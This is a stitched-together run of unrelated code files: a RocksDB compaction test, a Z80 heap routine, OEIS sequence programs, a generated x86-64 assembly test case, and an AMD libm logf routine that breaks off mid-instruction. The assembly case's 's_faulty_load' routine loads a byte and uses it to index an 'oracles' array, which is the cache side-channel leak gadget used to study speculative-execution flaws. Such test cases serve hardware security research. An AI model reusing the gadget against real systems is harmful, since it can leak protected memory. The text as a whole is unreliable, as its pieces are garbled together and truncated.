GetSstFileCount(options.db_paths[1].path)); ReopenWithColumnFamilies({kDefaultColumnFamilyName, "pikachu"}, options); ASSERT_EQ(2, TotalLiveFiles(1)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[0].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); // Full compaction to DB path 0 compact_options.target_path_id = 0; compact_options.exclusive_manual_compaction = exclusive_manual_compaction_; db_->CompactRange(compact_options, handles_[1], nullptr, nullptr); ASSERT_EQ(1, TotalLiveFiles(1)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[0].path)); ASSERT_EQ(0, GetSstFileCount(options.db_paths[1].path)); // Fail when compacting to an invalid path ID compact_options.target_path_id = 2; compact_options.exclusive_manual_compaction = exclusive_manual_compaction_; ASSERT_TRUE(db_->CompactRange(compact_options, handles_[1], nullptr, nullptr) .IsInvalidArgument()); } INSTANTIATE_TEST_CASE_P(DBTestUniversalManualCompactionOutputPathId, DBTestUniversalManualCompactionOutputPathId, ::testing::Combine(::testing::Values(1, 8), ::testing::Bool())); TEST_F(DBTestUniversalDeleteTrigCompaction, BasicL0toL1) { const int kNumKeys = 3000; const int kWindowSize = 100; const int kNumDelsTrigger = 90; Options opts = CurrentOptions(); opts.table_properties_collector_factories.emplace_back( NewCompactOnDeletionCollectorFactory(kWindowSize, kNumDelsTrigger)); opts.compaction_style = kCompactionStyleUniversal; opts.level0_file_num_compaction_trigger = 2; opts.compression = kNoCompression; opts.compaction_options_universal.size_ratio = 10; opts.compaction_options_universal.min_merge_width = 2; opts.compaction_options_universal.max_size_amplification_percent = 200; Reopen(opts); // add an L1 file to prevent tombstones from dropping due to obsolescence // during flush int i; for (i = 0; i < 2000; ++i) { Put(Key(i), "val"); } Flush(); // MoveFilesToLevel(6); dbfull()->CompactRange(CompactRangeOptions(), nullptr, nullptr); for (i = 1999; i < kNumKeys; ++i) { if (i >= kNumKeys - kWindowSize && i < kNumKeys - kWindowSize + kNumDelsTrigger) { Delete(Key(i)); } else { Put(Key(i), "val"); } } Flush(); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(0, NumTableFilesAtLevel(0)); ASSERT_GT(NumTableFilesAtLevel(6), 0); } TEST_F(DBTestUniversalDeleteTrigCompaction, SingleLevel) { const int kNumKeys = 3000; const int kWindowSize = 100; const int kNumDelsTrigger = 90; Options opts = CurrentOptions(); opts.table_properties_collector_factories.emplace_back( NewCompactOnDeletionCollectorFactory(kWindowSize, kNumDelsTrigger)); opts.compaction_style = kCompactionStyleUniversal; opts.level0_file_num_compaction_trigger = 2; opts.compression = kNoCompression; opts.num_levels = 1; opts.compaction_options_universal.size_ratio = 10; opts.compaction_options_universal.min_merge_width = 2; opts.compaction_options_universal.max_size_amplification_percent = 200; Reopen(opts); // add an L1 file to prevent tombstones from dropping due to obsolescence // during flush int i; for (i = 0; i < 2000; ++i) { Put(Key(i), "val"); } Flush(); for (i = 1999; i < kNumKeys; ++i) { if (i >= kNumKeys - kWindowSize && i < kNumKeys - kWindowSize + kNumDelsTrigger) { Delete(Key(i)); } else { Put(Key(i), "val"); } } Flush(); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(1, NumTableFilesAtLevel(0)); } TEST_F(DBTestUniversalDeleteTrigCompaction, MultipleLevels) { const int kWindowSize = 100; const int kNumDelsTrigger = 90; Options opts = CurrentOptions(); opts.table_properties_collector_factories.emplace_back( NewCompactOnDeletionCollectorFactory(kWindowSize, kNumDelsTrigger)); opts.compaction_style = kCompactionStyleUniversal; opts.level0_file_num_compaction_trigger = 4; opts.compression = kNoCompression; opts.compaction_options_universal.size_ratio = 10; opts.compaction_options_universal.min_merge_width = 2; opts.compaction_options_universal.max_size_amplification_percent = 200; Reopen(opts); // add an L1 file to prevent tombstones from dropping due to obsolescence // during flush int i; for (i = 0; i < 500; ++i) { Put(Key(i), "val"); } Flush(); for (i = 500; i < 1000; ++i) { Put(Key(i), "val"); } Flush(); for (i = 1000; i < 1500; ++i) { Put(Key(i), "val"); } Flush(); for (i = 1500; i < 2000; ++i) { Put(Key(i), "val"); } Flush(); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(0, NumTableFilesAtLevel(0)); ASSERT_GT(NumTableFilesAtLevel(6), 0); for (i = 1999; i < 2333; ++i) { Put(Key(i), "val"); } Flush(); for (i = 2333; i < 2666; ++i) { Put(Key(i), "val"); } Flush(); for (i = 2666; i < 2999; ++i) { Put(Key(i), "val"); } Flush(); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(0, NumTableFilesAtLevel(0)); ASSERT_GT(NumTableFilesAtLevel(6), 0); ASSERT_GT(NumTableFilesAtLevel(5), 0); for (i = 1900; i < 2100; ++i) { Delete(Key(i)); } Flush(); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(0, NumTableFilesAtLevel(0)); ASSERT_EQ(0, NumTableFilesAtLevel(1)); ASSERT_EQ(0, NumTableFilesAtLevel(2)); ASSERT_EQ(0, NumTableFilesAtLevel(3)); ASSERT_EQ(0, NumTableFilesAtLevel(4)); ASSERT_EQ(0, NumTableFilesAtLevel(5)); ASSERT_GT(NumTableFilesAtLevel(6), 0); } TEST_F(DBTestUniversalDeleteTrigCompaction, OverlappingL0) { const int kWindowSize = 100; const int kNumDelsTrigger = 90; Options opts = CurrentOptions(); opts.table_properties_collector_factories.emplace_back( NewCompactOnDeletionCollectorFactory(kWindowSize, kNumDelsTrigger)); opts.compaction_style = kCompactionStyleUniversal; opts.level0_file_num_compaction_trigger = 5; opts.compression = kNoCompression; opts.compaction_options_universal.size_ratio = 10; opts.compaction_options_universal.min_merge_width = 2; opts.compaction_options_universal.max_size_amplification_percent = 200; Reopen(opts); // add an L1 file to prevent tombstones from dropping due to obsolescence // during flush int i; for (i = 0; i < 2000; ++i) { Put(Key(i), "val"); } Flush(); for (i = 2000; i < 3000; ++i) { Put(Key(i), "val"); } Flush(); for (i = 3500; i < 4000; ++i) { Put(Key(i), "val"); } Flush(); for (i = 2900; i < 3100; ++i) { Delete(Key(i)); } Flush(); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(2, NumTableFilesAtLevel(0)); ASSERT_GT(NumTableFilesAtLevel(6), 0); } TEST_F(DBTestUniversalDeleteTrigCompaction, IngestBehind) { const int kNumKeys = 3000; const int kWindowSize = 100; const int kNumDelsTrigger = 90; Options opts = CurrentOptions(); opts.table_properties_collector_factories.emplace_back( NewCompactOnDeletionCollectorFactory(kWindowSize, kNumDelsTrigger)); opts.compaction_style = kCompactionStyleUniversal; opts.level0_file_num_compaction_trigger = 2; opts.compression = kNoCompression; opts.allow_ingest_behind = true; opts.compaction_options_universal.size_ratio = 10; opts.compaction_options_universal.min_merge_width = 2; opts.compaction_options_universal.max_size_amplification_percent = 200; Reopen(opts); // add an L1 file to prevent tombstones from dropping due to obsolescence // during flush int i; for (i = 0; i < 2000; ++i) { Put(Key(i), "val"); } Flush(); // MoveFilesToLevel(6); dbfull()->CompactRange(CompactRangeOptions(), nullptr, nullptr); for (i = 1999; i < kNumKeys; ++i) { if (i >= kNumKeys - kWindowSize && i < kNumKeys - kWindowSize + kNumDelsTrigger) { Delete(Key(i)); } else { Put(Key(i), "val"); } } Flush(); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(0, NumTableFilesAtLevel(0)); ASSERT_EQ(0, NumTableFilesAtLevel(6)); ASSERT_GT(NumTableFilesAtLevel(5), 0); } } // namespace rocksdb #endif // !defined(ROCKSDB_LITE) int main(int argc, char** argv) { #if !defined(ROCKSDB_LITE) rocksdb::port::InstallStackTraceHandler(); ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); #else (void) argc; (void) argv; return 0; #endif }
SECTION code_clib SECTION code_adt_wa_priority_queue PUBLIC __w_heap_swap __w_heap_swap: ; enter : hl = word * ; de = word * ; ; exit : hl = word * (unchanged) ; de += 2 ; swap two words at addresses de, hl ; ; uses : af, bc, de ld a,(de) ldi ld c,a ld a,(de) ld b,a ld a,(hl) ld (de),a ld (hl),b dec hl ld (hl),c inc de ret
; A060820: (2*n-1)^2 + (2*n)^2. ; 5,25,61,113,181,265,365,481,613,761,925,1105,1301,1513,1741,1985,2245,2521,2813,3121,3445,3785,4141,4513,4901,5305,5725,6161,6613,7081,7565,8065,8581,9113,9661,10225,10805,11401,12013,12641,13285,13945,14621,15313,16021,16745,17485,18241,19013,19801,20605,21425,22261,23113,23981,24865,25765,26681,27613,28561,29525,30505,31501,32513,33541,34585,35645,36721,37813,38921,40045,41185,42341,43513,44701,45905,47125,48361,49613,50881,52165,53465,54781,56113,57461,58825,60205,61601,63013,64441,65885,67345,68821,70313,71821,73345,74885,76441,78013,79601,81205,82825,84461,86113,87781,89465,91165,92881,94613,96361,98125,99905,101701,103513,105341,107185,109045,110921,112813,114721,116645,118585,120541,122513,124501,126505,128525,130561,132613,134681,136765,138865,140981,143113,145261,147425,149605,151801,154013,156241,158485,160745,163021,165313,167621,169945,172285,174641,177013,179401,181805,184225,186661,189113,191581,194065,196565,199081,201613,204161,206725,209305,211901,214513,217141,219785,222445,225121,227813,230521,233245,235985,238741,241513,244301,247105,249925,252761,255613,258481,261365,264265,267181,270113,273061,276025,279005,282001,285013,288041,291085,294145,297221,300313,303421,306545,309685,312841,316013,319201,322405,325625,328861,332113,335381,338665,341965,345281,348613,351961,355325,358705,362101,365513,368941,372385,375845,379321,382813,386321,389845,393385,396941,400513,404101,407705,411325,414961,418613,422281,425965,429665,433381,437113,440861,444625,448405,452201,456013,459841,463685,467545,471421,475313,479221,483145,487085,491041,495013,499001 mov $1,8 mul $1,$0 add $1,12 mul $1,$0 add $1,5
pla pla pla pla
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0x14687, %rsi lea addresses_WT_ht+0x1787, %rdi clflush (%rsi) nop nop nop nop inc %r8 mov $4, %rcx rep movsw nop nop nop nop cmp $18169, %r13 lea addresses_A_ht+0x19587, %rsi lea addresses_WC_ht+0xc787, %rdi nop nop nop nop nop inc %r9 mov $40, %rcx rep movsb nop xor %r8, %r8 lea addresses_UC_ht+0x1a107, %rsi nop nop cmp %rcx, %rcx movb $0x61, (%rsi) nop nop nop nop nop sub $32994, %rsi lea addresses_WC_ht+0x1d207, %r13 nop dec %r11 movb $0x61, (%r13) nop nop nop nop dec %r13 lea addresses_WT_ht+0xc187, %r8 nop nop nop nop nop add %rcx, %rcx movb (%r8), %r11b xor %r11, %r11 lea addresses_WC_ht+0xdc67, %rcx nop nop nop nop xor $371, %rsi movb $0x61, (%rcx) xor %r8, %r8 lea addresses_normal_ht+0x86b5, %rdi clflush (%rdi) nop nop nop dec %r8 movl $0x61626364, (%rdi) nop nop nop nop xor %r8, %r8 lea addresses_WC_ht+0x1e717, %rdi nop nop xor %r13, %r13 and $0xffffffffffffffc0, %rdi vmovaps (%rdi), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx nop xor $21295, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rax push %rcx push %rdi push %rdx // Store lea addresses_PSE+0x13507, %rdi nop add %rdx, %rdx movw $0x5152, (%rdi) nop nop nop nop sub $17724, %r15 // Store lea addresses_UC+0x1e1bf, %r8 nop nop nop nop cmp %r14, %r14 mov $0x5152535455565758, %rcx movq %rcx, %xmm0 movaps %xmm0, (%r8) nop nop nop cmp $16677, %rdx // Load lea addresses_UC+0x9927, %r8 nop nop nop nop nop cmp %rcx, %rcx mov (%r8), %r15w nop nop cmp $43094, %r14 // Store mov $0x70baf30000000607, %r14 nop cmp $25681, %r8 mov $0x5152535455565758, %rdi movq %rdi, (%r14) nop nop nop nop nop and $64048, %rax // Store lea addresses_D+0xd787, %r8 nop nop nop nop nop xor $49577, %r15 movw $0x5152, (%r8) nop and %rdi, %rdi // Faulty Load lea addresses_US+0x5f87, %r14 nop nop add %rdi, %rdi movb (%r14), %dl lea oracles, %rcx and $0xff, %rdx shlq $12, %rdx mov (%rcx,%rdx,1), %rdx pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_PSE', 'same': False, 'AVXalign': True, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': True, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 4}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A309715: Number of even parts appearing among the third largest parts of the partitions of n into 4 parts. ; 0,0,0,0,0,0,0,1,2,3,4,5,6,8,10,13,16,19,22,26,30,35,40,46,52,59,66,74,82,91,100,111,122,134,146,159,172,187,202,219,236,254,272,292,312,334,356,380,404,430,456,484,512,542,572,605,638,673,708,745,782,822,862,905,948,993,1038,1086,1134,1185,1236,1290,1344,1401,1458,1518,1578,1641,1704,1771,1838,1908,1978,2051,2124,2201,2278,2359,2440,2524,2608,2696,2784,2876,2968,3064,3160,3260,3360,3464,3568,3676,3784,3897,4010,4127,4244,4365,4486,4612,4738,4869,5000,5135,5270,5410,5550,5695,5840,5990,6140,6295,6450,6610,6770,6935,7100,7271,7442,7618,7794,7975,8156,8343,8530,8723,8916,9114,9312,9516,9720,9930,10140,10356,10572,10794,11016,11244,11472,11706,11940,12181,12422,12669,12916,13169,13422,13682,13942,14209,14476,14749,15022,15302,15582,15869,16156,16450,16744,17045,17346,17654,17962,18277,18592,18915,19238,19568,19898,20235,20572,20917,21262,21615,21968,22328,22688,23056,23424,23800,24176,24560,24944,25336,25728,26128,26528,26936,27344,27761,28178,28603,29028,29461,29894,30336,30778,31229,31680,32139,32598,33066,33534,34011,34488,34974,35460,35955,36450,36954,37458,37971,38484,39007,39530,40062,40594,41135,41676,42227,42778,43339,43900,44470,45040,45620,46200,46790,47380,47980,48580,49190,49800,50420,51040,51670,52300,52941,53582,54233 mov $3,$0 mov $5,$0 lpb $5 clr $0,3 mov $0,$3 sub $5,1 sub $0,$5 sub $0,1 lpb $0 mov $1,$0 sub $0,8 div $1,6 add $2,$1 lpe add $4,$2 lpe mov $1,$4
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ; vrs4_logf_bdozr.S ; ; An implementation of the logf libm function. ; ; Prototype: ; ; float logf(float x); ; ; ; Algorithm: ; Similar to one presnted in log.S ; include fm.inc FN_PROTOTYPE_FMA3 vrs4_logf ; local variable storage offsets save_xmm6 EQU 00h save_xmm7 EQU 020h save_xmm8 EQU 040h save_xmm9 EQU 060h save_xmm10 EQU 080h save_xmm11 EQU 0A0h save_xmm12 EQU 0C0h save_xmm13 EQU 0E0h save_xmm14 EQU 0100h save_xmm15 EQU 0120h stack_size EQU 0148h ; We take 8 as the last nibble to allow for ; alligned data movement. text SEGMENT EXECUTE ALIGN 16 PUBLIC fname fname PROC FRAME StackAllocate stack_size SaveAllXMMRegs .ENDPROLOG movupd xmm0, XMMWORD PTR [rcx] vmovaps xmm15,DWORD PTR L__real_one vmovaps xmm13,DWORD PTR L__real_inf vmovaps xmm10,DWORD PTR L__real_nan ; compute exponent part xor eax,eax ;eax=0 vpsrld xmm3,xmm0,23 ;xmm3 = (ux>>23) vpsubd xmm3,xmm3,DWORD PTR L__mask_127 ; xmm3 = (ux>>23) - 127 vandps xmm12,xmm13,xmm0 ;speacial case processing Nans Infs and,Negatives e's ; NaN or inf vpcmpeqd xmm6,xmm13,xmm12 ; if((ux & 07f800000h) == 07f800000h) go to DWORD PTR L__x_is_inf_or_nan ;xmm6 stores the mask for Nans and Infs vaddps xmm11,xmm0,xmm0 vpand xmm11,xmm6,xmm11 ;xmm11 stores the result for Nan's and INfs ;check for negative numbers vxorps xmm1,xmm1,xmm1 vpcmpgtd xmm7,xmm1,xmm0 ; if( x <= 0.0 ) ;xmm7 stores the negative mask for negative numbers vpor xmm6,xmm7,xmm6 ;vpcmov xmm11 ,xmm10,xmm11,xmm7 VANDNPD xmm8 , xmm7, xmm11 VANDPD xmm11 , xmm10, xmm7 VORPD xmm11 , xmm11, xmm8 vpcmpeqd xmm8,xmm0,DWORD PTR L__real_ef ;if (x == e) return 1.0 vpor xmm6,xmm8,xmm6 ;xmm8 stores the mask for e ;vpcmov xmm7 ,xmm15,xmm11,xmm8 VANDNPD xmm2 , xmm8, xmm11 VANDPD xmm7 , xmm15, xmm8 VORPD xmm7 , xmm7, xmm2 ; xmm6 = Mask for Nan Infs e's and negatives ; xmm7 = result of Nan Infs e's and negatives vpand xmm2,xmm0,DWORD PTR L__real_mant ; xmm2 = ux & 0007FFFFFh vsubps xmm4,xmm0,xmm15 ; xmm4 = x - 1.0 vpcmpeqd xmm8,xmm3,DWORD PTR L__mask_neg_127 ; if (xexp == 127) ;xmm8 stores the mask for denormal numbers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; commenting this part of the code will not process the denormal inputs ;if 1 vpor xmm11,xmm15,xmm2 vsubps xmm10,xmm11,xmm15 vpand xmm11,xmm10,DWORD PTR L__real_mant ;vpcmov xmm2 ,xmm11,xmm2,xmm8 VANDNPD xmm5 , xmm8, xmm2 VANDPD xmm2 , xmm11, xmm8 VORPD xmm2 , xmm2, xmm5 vpsrld xmm10,xmm10,23 vpsubd xmm10,xmm10,DWORD PTR L__mask_253 ;vpcmov xmm3 ,xmm10,xmm3,xmm8 VANDNPD xmm5, xmm8, xmm3 VANDPD xmm3, xmm10, xmm8 VORPD xmm3, xmm3, xmm5 ;endif ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; vcvtdq2ps xmm5,xmm3 ; xmm5 = xexp ; compute the index into the log tables vpand xmm11,xmm2,DWORD PTR L__mask_mant_all7 ;xmm11 = ux & 0007f0000h vpand xmm8,xmm2,DWORD PTR L__mask_mant8 ; xmm8 = ux & 0007f0000h vpslld xmm8,xmm8,1 ;xmm8 = (ux & 000008000h) << 1 vpaddd xmm1,xmm11,xmm8 ;xmm1 = (ux & 0007f0000h) + ((ux & 000008000h) << 1) ; near one codepath vpand xmm4,xmm4,DWORD PTR L__real_notsign ; xmm4 = fabs (x - 1.0) vcmpltps xmm4,xmm4,DWORD PTR L__real_threshold ; if (xmm4 < real_threshold) go to near_one ;xmm4 stores the mask for nearone values ; F,Y vpsrld xmm9,xmm1,16 vpor xmm2,xmm2,DWORD PTR L__real_half ; xmm2 = Y = ((ux & 0007FFFFFh) | 03f000000h) vpor xmm1,xmm1,DWORD PTR L__real_half ; xmm1 = F = ((ux & 0007f0000h) + ((ux & 000008000h) << 1) | 03f000000h) lea r9,DWORD PTR L__log_F_inv ; lea r10,DWORD PTR L__log_128_lead_tail xor r8,r8 ; can be removed ;1st vmovd r8d,xmm9 vpsrldq xmm9,xmm9,4 vmovss xmm10,DWORD PTR[r9 + r8 * 4] vmovsd xmm11,QWORD PTR[r10 + r8 * 8] vpslldq xmm10,xmm10,4 ;2nd vmovd r8d,xmm9 vpsrldq xmm9,xmm9,4 vmovss xmm13,DWORD PTR[r9 + r8 * 4] vmovss xmm10,xmm10,xmm13 vmovsd xmm14,QWORD PTR[r10 + r8 * 8] vpslldq xmm14,xmm14,8 vmovsd xmm11,xmm14,xmm11 vpslldq xmm10,xmm10,4 ;3rd vmovd r8d,xmm9 vpsrldq xmm9,xmm9,4 vmovss xmm13,DWORD PTR[r9 + r8 * 4] vmovss xmm10,xmm10,xmm13 vmovsd xmm12,QWORD PTR[r10 + r8 * 8] vpslldq xmm10,xmm10,4 ;4th vmovd r8d,xmm9 vmovss xmm13,DWORD PTR[r9 + r8 * 4] vmovss xmm10,xmm10,xmm13 vmovsd xmm14,QWORD PTR[r10 + r8 * 8] vpslldq xmm14,xmm14,8 vmovsd xmm12,xmm14,xmm12 vpermilps xmm10,xmm10,01Bh ; 1B = 00011011 ; f = F - Y,r = f * inv vsubps xmm1,xmm1,xmm2 ; f = F - Y vmulps xmm1,xmm1,xmm10 ; r = f * log_F_inv[index] ;poly vmovaps xmm3,DWORD PTR L__real_1_over_3 ;vfmaddps xmm2 ,xmm1,xmm3,DWORD PTR L__real_1_over_2 ; 1/3*r + 1/2 vfmadd213ps xmm3, xmm1,DWORD PTR L__real_1_over_2 vmovdqa xmm2, xmm3 vmulps xmm14,xmm1,xmm1 ; r*r vmovaps xmm3,DWORD PTR L__real_log2_tail ;xmm3 = log2_tail vmovaps xmm10,DWORD PTR L__real_log2_lead ;xmm10 = log2_lead ;vfmaddps xmm1 ,xmm14,xmm2,xmm1 ;poly = r + 1/2*r*r + 1/3*r*r*r ;vfmsubps xmm3 ,xmm5,xmm3,xmm1 ; z2 = (xexp * log2_tail) - poly vfmadd231ps xmm1 , xmm14, xmm2 vfmsub213ps xmm3 , xmm5, xmm1 ; m*log(2) + log(G) - poly vmulps xmm10,xmm10,xmm5 ; z1 = xexp * log2_lead ; z1= 4321 ; z2= 4321 ; z z1,2 = 44332211 ; t,h = thththth ; add the two ; z z1,2 ; xmm3 = z xmm10,2 = z1,xmm11=lead,tail xmm12=lead/tail vpxor xmm13,xmm13,xmm13 vunpcklps xmm9,xmm10,xmm3 ; xmm9 = 2211 in z1,z2 order vunpckhps xmm10,xmm10,xmm3 ; xmm10 = 4433 in z1,z2 order vinsertf128 ymm9 ,ymm9,xmm10,1 ; ymm9 = z z1,2 - 44332211 in z2,z1 order vinsertf128 ymm10 ,ymm11,xmm12,1 ; thththth in z1,z2 order vaddps ymm11,ymm10,ymm9 ; z z1,2 = (xexp * log2_tail) - poly + log_128_tail[index],(xexp * log2_lead) + log_128_lead[index] vhaddps ymm13,ymm11,ymm13 vextractf128 xmm14,ymm13,1 ; vmovlhps xmm9,xmm13,xmm14 ;xmm9 stores the result ; r = x - 1.0; vmovaps xmm2,DWORD PTR L__real_two ; xmm2 = 2.0 vpand xmm11,xmm0,DWORD PTR L__real_notsign ;get the zero input masks vpxor xmm12,xmm12,xmm12 vsubps xmm0,xmm0,xmm15 ; xmm0 = r = = x - 1.0 vpcmpeqd xmm12,xmm11,xmm12 ; xmm12 stores the mask for zero ; u = r / (2.0 + r) vaddps xmm2,xmm2,xmm0 ; (r+2.0) vdivps xmm1,xmm0,xmm2 ; u = r / (2.0 + r) ; correction = r * u vmulps xmm10,xmm0,xmm1 ; correction = u*r ; u = u + u; vaddps 